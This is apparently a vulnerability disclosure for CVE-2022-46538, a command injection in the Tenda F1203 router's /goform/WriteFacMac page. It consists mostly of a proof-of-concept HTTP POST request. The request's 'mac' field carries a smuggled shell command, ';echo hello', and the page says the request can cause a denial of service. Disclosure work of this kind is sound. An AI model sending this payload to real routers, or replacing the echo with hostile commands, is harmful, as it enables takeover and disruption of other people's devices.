CVE-2022-46538: CVE-vulns/formWriteFacMac.md at main · Double-q1015/CVE-vulns

Tenda Router F1203 V2.0.1.6 was found to contain a command injection vulnerability in formWriteFacMac.This vulnerability allows an attacker to execute arbitrary commands through the “mac” parameter.

This vulnerability lies in the /goform/WriteFacMac page，The details are shown below:

This POC can result in a Dos.

POST /goform/WriteFacMac HTTP/1.1
Host: 192.168.204.143
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user=admin
Connection: close
Content-Length: 4110

mac=00:01:02:11:22:33;echo%20hello